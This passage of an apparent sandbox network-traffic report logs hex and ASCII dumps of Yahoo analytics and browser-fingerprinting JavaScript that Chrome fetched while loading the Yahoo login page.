Prevented From Accessing Cookies:",e)}-1!==t?(u[n]=i,n=c[n],l&&n&&n.log&&l.set(n.key,i)):0<o+r&&(o--,s())}e.fpc&&".yahoo.com"!==a(o)&&s()};var e=null;try{e=document.cookie}catch(e){console.warn("Rapid Was Prevented From Accessing
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 69 74 5f 61 64 5f 74 72 61 63 6b 69 6e 67 3a 65 5b 38 5d 2c 74 72 61 63 6b 69 6e 67 5f 61 75 74 68 5f 73 74 61 74 75 73 3a 65 5b 39 5d 7d 7d 72 65 74 75 72 6e 7b 7d 7d 28 28 6e 65 77 20 6c 65 29 2e 67 65 74 43 6f 6f 6b 69 65 42 79 4e 61 6d 65 28 22 57 56 22 29 29 2e 74 72 61 63 6b 69 6e 67 5f 61 75 74 68 5f 73 74 61 74 75 73 7c 7c 2d 31 29 7d 2c 59 41 48 4f 4f 2e 69 31 33 6e 2e 45 76 65 6e 74 54 79 70 65 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 22 72 69 63 68 76 69 65 77 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 74 2c 6e 29 7b 74 68 69 73 2e 79 71 6c 69 64 3d 65 2c 74 68 69 73 2e 65 76 65 6e 74 4e 61 6d 65 3d 74 2c 74 68 69 73 2e 73 70 61 63 65 69 64 50 72 65 66 69 78 3d 6e 7d 74 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 67 65 74 59 51 4c 49 Data Ascii: it_ad_tracking:e[8],tracking_auth_status:e[9]}}return{}}((new le).getCookieByName("WV")).tracking_auth_status\|\|-1)},YAHOO.i13n.EventTypes=function(){var e="richview";function t(e,t,n){this.yqlid=e,this.eventName=t,this.spaceidPrefix=n}t.prototype={getYQLI
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 5d 3d 74 2c 74 68 69 73 2e 63 6f 75 6e 74 2b 2b 29 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 61 70 5b 65 5d 7d 2c 67 65 74 41 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 61 70 7d 2c 61 62 73 6f 72 62 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 26 26 79 2e 69 73 4f 62 6a 28 65 29 29 66 6f 72 28 76 61 72 20 74 20 69 6e 20 65 29 79 2e 68 61 73 4f 77 6e 28 65 2c 74 29 26 26 74 68 69 73 2e 73 65 74 28 74 2c 65 5b 74 5d 29 7d 2c 61 62 73 6f 72 62 5f 66 69 6c 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 65 26 26 79 2e 69 73 4f 62 6a 28 65 29 29 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 65 29 74 26 26 21 74 2e 63 61 6c 6c 28 6e 75 6c 6c 2c 6e 29 7c 7c 79 Data Ascii: ]=t,this.count++)},get:function(e){return this.map[e]},getAll:function(){return this.map},absorb:function(e){if(e&&y.isObj(e))for(var t in e)y.hasOwn(e,t)&&this.set(t,e[t])},absorb_filter:function(e,t){if(e&&y.isObj(e))for(var n in e)t&&!t.call(null,n)\|\|y
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 65 6f 2e 79 61 68 6f 6f 2e 63 6f 6d 22 2c 72 3d 22 75 64 63 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3b 21 30 21 3d 3d 65 2e 66 70 63 26 26 22 79 61 68 6f 6f 2e 63 6f 6d 22 3d 3d 3d 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 2e 73 70 6c 69 74 28 22 2e 22 29 2e 73 6c 69 63 65 28 2d 32 29 2e 6a 6f 69 6e 28 22 2e 22 29 7c 7c 28 6f 3d 22 33 70 2d 22 2b 6f 2c 72 3d 22 33 70 2d 22 2b 72 29 3b 72 3d 7b 6f 76 65 72 72 69 64 65 3a 69 2c 76 65 72 73 69 6f 6e 3a 63 65 2c 63 6f 6d 62 6f 4e 61 6d 65 3a 75 65 2c 6b 65 79 73 3a 6c 2c 72 65 66 65 72 72 65 72 3a 65 2e 72 65 66 65 72 72 65 72 2c 67 65 74 52 65 66 65 72 72 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 79 2e 6e 6f 72 6d 28 79 2e 63 6c 72 65 66 28 28 76 6f 69 64 20 30 21 3d 3d 74 68 69 73 2e 72 65 Data Ascii: eo.yahoo.com",r="udc.yahoo.com";!0!==e.fpc&&"yahoo.com"===document.domain.split(".").slice(-2).join(".")\|\|(o="3p-"+o,r="3p-"+r);r={override:i,version:ce,comboName:ue,keys:l,referrer:e.referrer,getReferrer:function(){return y.norm(y.clref((void 0!==this.re
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 63 6b 5f 69 6e 70 75 74 3a 65 2e 74 72 61 63 6b 5f 69 6e 70 75 74 7c 7c 22 72 61 70 69 64 2d 74 72 61 63 6b 2d 69 6e 70 75 74 22 2c 63 6c 69 63 6b 5f 69 64 5f 63 6c 61 73 73 3a 65 2e 63 6c 69 63 6b 5f 69 64 5f 63 6c 61 73 73 7c 7c 22 72 61 70 69 64 2d 77 69 74 68 2d 63 6c 69 63 6b 69 64 22 2c 61 6e 63 5f 70 6f 73 5f 61 74 74 72 3a 22 64 61 74 61 2d 72 61 70 69 64 5f 70 22 2c 61 6e 63 5f 76 39 79 5f 61 74 74 72 3a 22 64 61 74 61 2d 76 39 79 22 2c 64 65 62 3a 21 30 3d 3d 3d 65 2e 64 65 62 75 67 2c 6c 64 62 67 3a 30 3c 65 2e 6c 64 62 67 7c 7c 30 3c 6e 2e 69 6e 64 65 78 4f 66 28 22 79 68 6c 64 65 62 75 67 3d 31 22 29 2c 61 64 64 6d 6f 64 5f 74 69 6d 65 6f 75 74 3a 65 2e 61 64 64 6d 6f 64 75 6c 65 73 5f 74 69 6d 65 6f 75 74 7c 7c 33 30 30 2c 75 6c 74 5f 74 6f Data Ascii: ck_input:e.track_input\|\|"rapid-track-input",click_id_class:e.click_id_class\|\|"rapid-with-clickid",anc_pos_attr:"data-rapid_p",anc_v9y_attr:"data-v9y",deb:!0===e.debug,ldbg:0<e.ldbg\|\|0<n.indexOf("yhldebug=1"),addmod_timeout:e.addmodules_timeout\|\|300,ult_to
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 55 49 44 3d 79 2e 61 75 67 28 7b 7d 2c 61 29 3a 28 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 27 63 75 73 74 6f 6d 55 49 44 20 6d 75 73 74 20 62 65 20 61 6e 20 4f 62 6a 65 63 74 20 77 69 74 68 20 22 69 64 22 20 61 6e 64 20 22 74 79 70 65 22 27 29 2c 72 2e 63 75 73 74 6f 6d 55 49 44 3d 6e 75 6c 6c 29 29 3b 76 61 72 20 61 2c 6f 3d 2b 72 2e 63 6f 6d 70 72 5f 74 69 6d 65 6f 75 74 3b 72 65 74 75 72 6e 20 79 2e 69 73 4e 75 6d 28 6f 29 3f 72 2e 63 6f 6d 70 72 5f 74 69 6d 65 6f 75 74 3d 28 6e 3d 37 30 30 2c 28 61 3d 6f 29 3c 28 6f 3d 33 30 30 29 3f 6f 3a 6e 3c 61 3f 6e 3a 61 29 3a 72 2e 63 6f 6d 70 72 5f 74 69 6d 65 6f 75 74 3d 37 30 30 2c 72 2e 6c 64 62 67 26 26 31 65 34 21 3d 72 2e 63 6c 69 63 6b 5f 74 69 6d 65 6f 75 74 26 26 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e Data Ascii: UID=y.aug({},a):(console.error('customUID must be an Object with "id" and "type"'),r.customUID=null));var a,o=+r.compr_timeout;return y.isNum(o)?r.compr_timeout=(n=700,(a=o)<(o=300)?o:n<a?n:a):r.compr_timeout=700,r.ldbg&&1e4!=r.click_timeout&&console.warn
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 28 22 26 22 29 29 21 61 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 73 29 7c 7c 32 3c 3d 28 6f 3d 61 5b 73 5d 2e 73 70 6c 69 74 28 22 3d 22 29 29 2e 6c 65 6e 67 74 68 26 26 28 69 3d 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6f 5b 30 5d 29 2c 73 3d 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6f 5b 31 5d 29 2c 6f 3d 21 72 2e 74 65 73 74 28 69 29 2c 45 28 22 51 75 65 72 79 70 61 72 61 6d 73 20 64 65 63 6f 64 65 64 3a 20 22 2b 69 2b 22 20 3a 20 22 2b 73 29 2c 45 28 22 42 6c 61 63 6b 6c 69 73 74 20 66 69 6c 74 65 72 3a 20 22 2b 6f 29 2c 6f 26 26 74 2e 73 65 74 28 69 2c 73 29 29 7d 76 61 72 20 6c 3d 28 6c 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 7c 7c 22 22 29 2e 72 65 70 6c 61 63 65 28 2f 3a 24 Data Ascii: ("&"))!a.hasOwnProperty(s)\|\|2<=(o=a[s].split("=")).length&&(i=decodeURIComponent(o[0]),s=decodeURIComponent(o[1]),o=!r.test(i),E("Queryparams decoded: "+i+" : "+s),E("Blacklist filter: "+o),o&&t.set(i,s))}var l=(l=window.location.protocol\|\|"").replace(/:$
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 69 2c 6e 2e 70 70 29 2c 4e 28 50 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 52 28 5b 65 5d 2c 74 2c 21 30 2c 69 2c 6e 29 7d 29 29 7d 2c 73 65 6e 64 55 4c 54 45 76 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 7b 7d 2c 74 3d 48 28 22 70 22 2c 6e 65 77 20 64 28 69 3d 65 26 26 65 2e 64 61 74 61 3f 65 2e 64 61 74 61 3a 69 29 2c 74 7c 7c 30 29 3b 65 2e 74 79 70 65 26 26 28 74 2b 3d 22 26 5f 56 3d 22 2b 65 2e 74 79 70 65 2e 73 70 61 63 65 69 64 50 72 65 66 69 78 29 2c 70 28 74 2c 6e 29 7d 2c 73 65 6e 64 45 76 65 6e 74 73 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 2e 73 65 6e 64 55 4c 54 45 76 65 6e 74 28 65 2c 74 29 7d 2c 73 65 6e 64 43 6c 69 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6f 29 7b 76 61 72 Data Ascii: i,n.pp),N(P(function(){return R([e],t,!0,i,n)}))},sendULTEvent:function(e,t,n){var i={},t=H("p",new d(i=e&&e.data?e.data:i),t\|\|0);e.type&&(t+="&_V="+e.type.spaceidPrefix),p(t,n)},sendEvents:function(e,t){this.sendULTEvent(e,t)},sendClick:function(i,o){var
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 74 70 73 3a 2f 2f 27 2b 44 2e 67 65 6f 5f 68 6f 73 74 2b 27 2f 62 2e 68 74 6d 6c 22 27 29 2c 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 3c 69 66 72 61 6d 65 20 22 2b 74 2b 27 20 6e 61 6d 65 3d 22 27 2b 65 2b 27 22 3e 3c 2f 69 66 72 61 6d 65 3e 27 29 29 3a 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 29 2e 6e 61 6d 65 3d 65 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 2c 74 29 7b 76 61 72 20 6e 3d 6e 75 6c 6c 2c 69 3d 79 2e 6d 61 6b 65 28 22 66 6f 72 6d 22 29 2c 6f 3d 79 2e 6d 61 6b 65 28 22 69 6e 70 75 74 22 29 2c 72 3d 6d 28 29 2c 61 3d 6d 28 29 2c 73 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 3b 63 68 61 72 73 65 Data Ascii: tps://'+D.geo_host+'/b.html"'),document.createElement("<iframe "+t+' name="'+e+'"></iframe>')):document.createElement("iframe")).name=e,n}function T(e,t){var n=null,i=y.make("form"),o=y.make("input"),r=m(),a=m(),s="application/x-www-form-urlencoded;charse

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49766	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:29 UTC	566	OUT	GET /wm/mbr/6ebaa0694e3f3f0e4b06fe00ae06db7c114eaec2/bundle.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:26:29 UTC	777	IN	HTTP/1.1 200 OK x-amz-id-2: 2Dt7j6fR8qVmnuXPyezC6bptp4CDADk3FotKdYMwHNA+93gZjRto03+zgdtDMxKKWyTevYk+LrA= x-amz-request-id: W67YN37VCYZMYKVW Date: Wed, 10 Jan 2024 23:21:34 GMT Last-Modified: Wed, 10 Jan 2024 01:12:17 GMT ETag: "0009c4b9b18fda3037b458785516dc3c" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 189997 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 296 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 6e 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 69 2c 66 29 7b 69 66 28 21 6e 5b 69 5d 29 7b 69 66 28 21 65 5b 69 5d 29 7b 76 61 72 20 63 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 26 26 72 65 71 75 69 72 65 3b 69 66 28 21 66 26 26 63 29 72 65 74 75 72 6e 20 63 28 69 2c 21 30 29 3b 69 66 28 75 29 72 65 74 75 72 6e 20 75 28 69 2c 21 30 29 3b 76 61 72 20 61 3d 6e 65 77 20 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 6d 6f 64 75 6c 65 20 27 22 2b 69 2b 22 27 22 29 3b 74 68 72 6f 77 20 61 2e 63 6f 64 65 3d 22 4d 4f 44 55 4c 45 5f 4e 4f 54 5f 46 4f 55 4e 44 22 2c 61 7d 76 61 72 20 70 3d 6e 5b 69 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d Data Ascii: (function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c="function"==typeof require&&require;if(!f&&c)return c(i,!0);if(u)return u(i,!0);var a=new Error("Cannot find module '"+i+"'");throw a.code="MODULE_NOT_FOUND",a}var p=n[i]={exports:{}}
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 5d 2c 6e 5b 31 5d 2b 3d 6e 5b 32 5d 3e 3e 3e 31 36 2c 6e 5b 32 5d 26 3d 36 35 35 33 35 2c 6e 5b 31 5d 2b 3d 65 5b 31 5d 2a 74 5b 33 5d 2c 6e 5b 30 5d 2b 3d 6e 5b 31 5d 3e 3e 3e 31 36 2c 6e 5b 31 5d 26 3d 36 35 35 33 35 2c 6e 5b 31 5d 2b 3d 65 5b 32 5d 2a 74 5b 32 5d 2c 6e 5b 30 5d 2b 3d 6e 5b 31 5d 3e 3e 3e 31 36 2c 6e 5b 31 5d 26 3d 36 35 35 33 35 2c 6e 5b 31 5d 2b 3d 65 5b 33 5d 2a 74 5b 31 5d 2c 6e 5b 30 5d 2b 3d 6e 5b 31 5d 3e 3e 3e 31 36 2c 6e 5b 31 5d 26 3d 36 35 35 33 35 2c 6e 5b 30 5d 2b 3d 65 5b 30 5d 2a 74 5b 33 5d 2b 65 5b 31 5d 2a 74 5b 32 5d 2b 65 5b 32 5d 2a 74 5b 31 5d 2b 65 5b 33 5d 2a 74 5b 30 5d 2c 6e 5b 30 5d 26 3d 36 35 35 33 35 2c 5b 6e 5b 30 5d 3c 3c 31 36 7c 6e 5b 31 5d 2c 6e 5b 32 5d 3c 3c 31 36 7c 6e 5b 33 5d 5d 7d 2c 6e 3d 66 75 Data Ascii: ],n[1]+=n[2]>>>16,n[2]&=65535,n[1]+=e[1]t[3],n[0]+=n[1]>>>16,n[1]&=65535,n[1]+=e[2]t[2],n[0]+=n[1]>>>16,n[1]&=65535,n[1]+=e[3]t[1],n[0]+=n[1]>>>16,n[1]&=65535,n[0]+=e[0]t[3]+e[1]t[2]+e[2]t[1]+e[3]*t[0],n[0]&=65535,[n[0]<<16\|n[1],n[2]<<16\|n[3]]},n=fu
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 2c 67 29 2c 63 3d 6e 28 63 2c 32 37 29 2c 63 3d 65 28 63 2c 64 29 2c 63 3d 65 28 74 28 63 2c 5b 30 2c 35 5d 29 2c 5b 30 2c 31 33 39 30 32 30 38 38 30 39 5d 29 2c 66 3d 74 28 66 2c 6d 29 2c 66 3d 6e 28 66 2c 33 33 29 2c 66 3d 74 28 66 2c 68 29 2c 64 3d 72 28 64 2c 66 29 2c 64 3d 6e 28 64 2c 33 31 29 2c 64 3d 65 28 64 2c 63 29 2c 64 3d 65 28 74 28 64 2c 5b 30 2c 35 5d 29 2c 5b 30 2c 39 34 34 33 33 31 34 34 35 5d 29 3b 73 77 69 74 63 68 28 67 3d 5b 30 2c 30 5d 2c 66 3d 5b 30 2c 30 5d 2c 73 29 7b 63 61 73 65 20 31 35 3a 66 3d 72 28 66 2c 61 28 5b 30 2c 6f 2e 63 68 61 72 43 6f 64 65 41 74 28 54 2b 31 34 29 5d 2c 34 38 29 29 3b 63 61 73 65 20 31 34 3a 66 3d 72 28 66 2c 61 28 5b 30 2c 6f 2e 63 68 61 72 43 6f 64 65 41 74 28 54 2b 31 33 29 5d 2c 34 30 29 29 3b 63 Data Ascii: ,g),c=n(c,27),c=e(c,d),c=e(t(c,[0,5]),[0,1390208809]),f=t(f,m),f=n(f,33),f=t(f,h),d=r(d,f),d=n(d,31),d=e(d,c),d=e(t(d,[0,5]),[0,944331445]);switch(g=[0,0],f=[0,0],s){case 15:f=r(f,a([0,o.charCodeAt(T+14)],48));case 14:f=r(f,a([0,o.charCodeAt(T+13)],40));c
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 73 3a 5b 5d 2c 65 78 74 65 6e 64 65 64 4a 73 46 6f 6e 74 73 3a 21 31 7d 2c 73 63 72 65 65 6e 3a 7b 64 65 74 65 63 74 53 63 72 65 65 6e 4f 72 69 65 6e 74 61 74 69 6f 6e 3a 21 30 7d 2c 70 6c 75 67 69 6e 73 3a 7b 73 6f 72 74 50 6c 75 67 69 6e 73 46 6f 72 3a 5b 2f 70 61 6c 65 6d 6f 6f 6e 2f 69 5d 2c 65 78 63 6c 75 64 65 49 45 3a 21 31 7d 2c 65 78 74 72 61 43 6f 6d 70 6f 6e 65 6e 74 73 3a 5b 5d 2c 65 78 63 6c 75 64 65 73 3a 7b 65 6e 75 6d 65 72 61 74 65 44 65 76 69 63 65 73 3a 21 30 2c 70 69 78 65 6c 52 61 74 69 6f 3a 21 30 2c 64 6f 4e 6f 74 54 72 61 63 6b 3a 21 30 2c 66 6f 6e 74 73 46 6c 61 73 68 3a 21 30 7d 2c 4e 4f 54 5f 41 56 41 49 4c 41 42 4c 45 3a 22 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 22 2c 45 52 52 4f 52 3a 22 65 72 72 6f 72 22 2c 45 58 43 4c 55 44 Data Ascii: s:[],extendedJsFonts:!1},screen:{detectScreenOrientation:!0},plugins:{sortPluginsFor:[/palemoon/i],excludeIE:!1},extraComponents:[],excludes:{enumerateDevices:!0,pixelRatio:!0,doNotTrack:!0,fontsFlash:!0},NOT_AVAILABLE:"not available",ERROR:"error",EXCLUD
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 42 4c 45 29 3b 76 61 72 20 72 3d 6e 65 77 20 61 28 31 2c 34 34 31 30 30 2c 34 34 31 30 30 29 2c 69 3d 72 2e 63 72 65 61 74 65 4f 73 63 69 6c 6c 61 74 6f 72 28 29 3b 69 2e 74 79 70 65 3d 22 74 72 69 61 6e 67 6c 65 22 2c 69 2e 66 72 65 71 75 65 6e 63 79 2e 73 65 74 56 61 6c 75 65 41 74 54 69 6d 65 28 31 65 34 2c 72 2e 63 75 72 72 65 6e 74 54 69 6d 65 29 3b 76 61 72 20 6f 3d 72 2e 63 72 65 61 74 65 44 79 6e 61 6d 69 63 73 43 6f 6d 70 72 65 73 73 6f 72 28 29 3b 73 28 5b 5b 22 74 68 72 65 73 68 6f 6c 64 22 2c 2d 35 30 5d 2c 5b 22 6b 6e 65 65 22 2c 34 30 5d 2c 5b 22 72 61 74 69 6f 22 2c 31 32 5d 2c 5b 22 72 65 64 75 63 74 69 6f 6e 22 2c 2d 32 30 5d 2c 5b 22 61 74 74 61 63 6b 22 2c 30 5d 2c 5b 22 72 65 6c 65 61 73 65 22 2c 2e 32 35 5d 5d 2c 66 75 6e 63 74 69 6f Data Ascii: BLE);var r=new a(1,44100,44100),i=r.createOscillator();i.type="triangle",i.frequency.setValueAtTime(1e4,r.currentTime);var o=r.createDynamicsCompressor();s([["threshold",-50],["knee",40],["ratio",12],["reduction",-20],["attack",0],["release",.25]],functio
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 28 65 29 7b 76 61 72 20 74 3d 5b 77 69 6e 64 6f 77 2e 73 63 72 65 65 6e 2e 77 69 64 74 68 2c 77 69 6e 64 6f 77 2e 73 63 72 65 65 6e 2e 68 65 69 67 68 74 5d 3b 72 65 74 75 72 6e 20 65 2e 73 63 72 65 65 6e 2e 64 65 74 65 63 74 53 63 72 65 65 6e 4f 72 69 65 6e 74 61 74 69 6f 6e 26 26 74 2e 73 6f 72 74 28 29 2e 72 65 76 65 72 73 65 28 29 2c 74 7d 2c 43 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 28 42 28 74 29 29 7d 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 77 69 6e 64 6f 77 2e 73 63 72 65 65 6e 2e 61 76 61 69 6c 57 69 64 74 68 26 26 77 69 6e 64 6f 77 2e 73 63 72 65 65 6e 2e 61 76 61 69 6c 48 65 69 67 68 74 29 7b 76 61 72 20 74 3d 5b 77 69 6e 64 6f 77 2e 73 63 72 65 65 6e 2e 61 76 61 69 6c 48 65 69 67 68 74 2c 77 69 6e 64 6f 77 2e 73 63 72 65 Data Ascii: (e){var t=[window.screen.width,window.screen.height];return e.screen.detectScreenOrientation&&t.sort().reverse(),t},C=function(e,t){e(B(t))},B=function(e){if(window.screen.availWidth&&window.screen.availHeight){var t=[window.screen.availHeight,window.scre
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 73 70 61 63 65 22 2c 22 73 61 6e 73 2d 73 65 72 69 66 22 2c 22 73 65 72 69 66 22 5d 2c 61 3d 5b 22 41 6e 64 61 6c 65 20 4d 6f 6e 6f 22 2c 22 41 72 69 61 6c 22 2c 22 41 72 69 61 6c 20 42 6c 61 63 6b 22 2c 22 41 72 69 61 6c 20 48 65 62 72 65 77 22 2c 22 41 72 69 61 6c 20 4d 54 22 2c 22 41 72 69 61 6c 20 4e 61 72 72 6f 77 22 2c 22 41 72 69 61 6c 20 52 6f 75 6e 64 65 64 20 4d 54 20 42 6f 6c 64 22 2c 22 41 72 69 61 6c 20 55 6e 69 63 6f 64 65 20 4d 53 22 2c 22 42 69 74 73 74 72 65 61 6d 20 56 65 72 61 20 53 61 6e 73 20 4d 6f 6e 6f 22 2c 22 42 6f 6f 6b 20 41 6e 74 69 71 75 61 22 2c 22 42 6f 6f 6b 6d 61 6e 20 4f 6c 64 20 53 74 79 6c 65 22 2c 22 43 61 6c 69 62 72 69 22 2c 22 43 61 6d 62 72 69 61 22 2c 22 43 61 6d 62 72 69 61 20 4d 61 74 68 22 2c 22 43 65 6e 74 75 Data Ascii: space","sans-serif","serif"],a=["Andale Mono","Arial","Arial Black","Arial Hebrew","Arial MT","Arial Narrow","Arial Rounded MT Bold","Arial Unicode MS","Bitstream Vera Sans Mono","Book Antiqua","Bookman Old Style","Calibri","Cambria","Cambria Math","Centu
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 75 73 22 2c 22 41 6e 67 73 61 6e 61 20 4e 65 77 22 2c 22 41 6e 67 73 61 6e 61 55 50 43 22 2c 22 41 6e 74 69 71 75 65 20 4f 6c 69 76 65 22 2c 22 41 70 61 72 61 6a 69 74 61 22 2c 22 41 70 70 6c 65 20 43 68 61 6e 63 65 72 79 22 2c 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 22 41 70 70 6c 65 20 53 44 20 47 6f 74 68 69 63 20 4e 65 6f 22 2c 22 41 72 61 62 69 63 20 54 79 70 65 73 65 74 74 69 6e 67 22 2c 22 41 52 43 48 45 52 22 2c 22 41 52 4e 4f 20 50 52 4f 22 2c 22 41 72 72 75 73 20 42 54 22 2c 22 41 75 72 6f 72 61 20 43 6e 20 42 54 22 2c 22 41 76 61 6e 74 47 61 72 64 65 20 42 6b 20 42 54 22 2c 22 41 76 61 6e 74 47 61 72 64 65 20 4d 64 20 42 54 22 2c 22 41 56 45 4e 49 52 22 2c 22 41 79 75 74 68 61 79 61 22 2c 22 42 61 6e 64 79 22 2c 22 42 61 6e Data Ascii: us","Angsana New","AngsanaUPC","Antique Olive","Aparajita","Apple Chancery","Apple Color Emoji","Apple SD Gothic Neo","Arabic Typesetting","ARCHER","ARNO PRO","Arrus BT","Aurora Cn BT","AvantGarde Bk BT","AvantGarde Md BT","AVENIR","Ayuthaya","Bandy","Ban
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 22 2c 22 43 6f 70 70 65 72 70 6c 61 74 65 20 47 6f 74 68 69 63 20 4c 69 67 68 74 22 2c 22 43 6f 70 70 65 72 70 6c 47 6f 74 68 20 42 64 20 42 54 22 2c 22 43 6f 72 62 65 6c 22 2c 22 43 6f 72 64 69 61 20 4e 65 77 22 2c 22 43 6f 72 64 69 61 55 50 43 22 2c 22 43 6f 72 6e 65 72 73 74 6f 6e 65 22 2c 22 43 6f 72 6f 6e 65 74 22 2c 22 43 75 63 6b 6f 6f 22 2c 22 43 75 72 6c 7a 20 4d 54 22 2c 22 44 61 75 6e 50 65 6e 68 22 2c 22 44 61 75 70 68 69 6e 22 2c 22 44 61 76 69 64 22 2c 22 44 42 20 4c 43 44 20 54 65 6d 70 22 2c 22 44 45 4c 49 43 49 4f 55 53 22 2c 22 44 65 6e 6d 61 72 6b 22 2c 22 44 46 4b 61 69 2d 53 42 22 2c 22 44 69 64 6f 74 22 2c 22 44 69 6c 6c 65 6e 69 61 55 50 43 22 2c 22 44 49 4e 22 2c 22 44 6f 6b 43 68 61 6d 70 61 22 2c 22 44 6f 74 75 6d 22 2c 22 44 6f Data Ascii: ","Copperplate Gothic Light","CopperplGoth Bd BT","Corbel","Cordia New","CordiaUPC","Cornerstone","Coronet","Cuckoo","Curlz MT","DaunPenh","Dauphin","David","DB LCD Temp","DELICIOUS","Denmark","DFKai-SB","Didot","DilleniaUPC","DIN","DokChampa","Dotum","Do
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 20 4d 4e 22 2c 22 48 61 65 74 74 65 6e 73 63 68 77 65 69 6c 65 72 22 2c 22 48 61 72 6c 6f 77 20 53 6f 6c 69 64 20 49 74 61 6c 69 63 22 2c 22 48 61 72 72 69 6e 67 74 6f 6e 22 2c 22 48 65 61 74 68 65 72 22 2c 22 48 65 69 74 69 20 53 43 22 2c 22 48 65 69 74 69 20 54 43 22 2c 22 48 45 4c 56 22 2c 22 48 65 72 61 6c 64 22 2c 22 48 69 67 68 20 54 6f 77 65 72 20 54 65 78 74 22 2c 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 22 48 69 72 61 67 69 6e 6f 20 4d 69 6e 63 68 6f 20 50 72 6f 4e 22 2c 22 48 6f 65 66 6c 65 72 20 54 65 78 74 22 2c 22 48 75 6d 61 6e 73 74 20 35 32 31 20 43 6e 20 42 54 22 2c 22 48 75 6d 61 6e 73 74 35 32 31 20 42 54 22 2c 22 48 75 6d 61 6e 73 74 35 32 31 20 4c 74 20 42 54 22 2c 22 49 6d 70 72 69 6e 74 20 Data Ascii: MN","Haettenschweiler","Harlow Solid Italic","Harrington","Heather","Heiti SC","Heiti 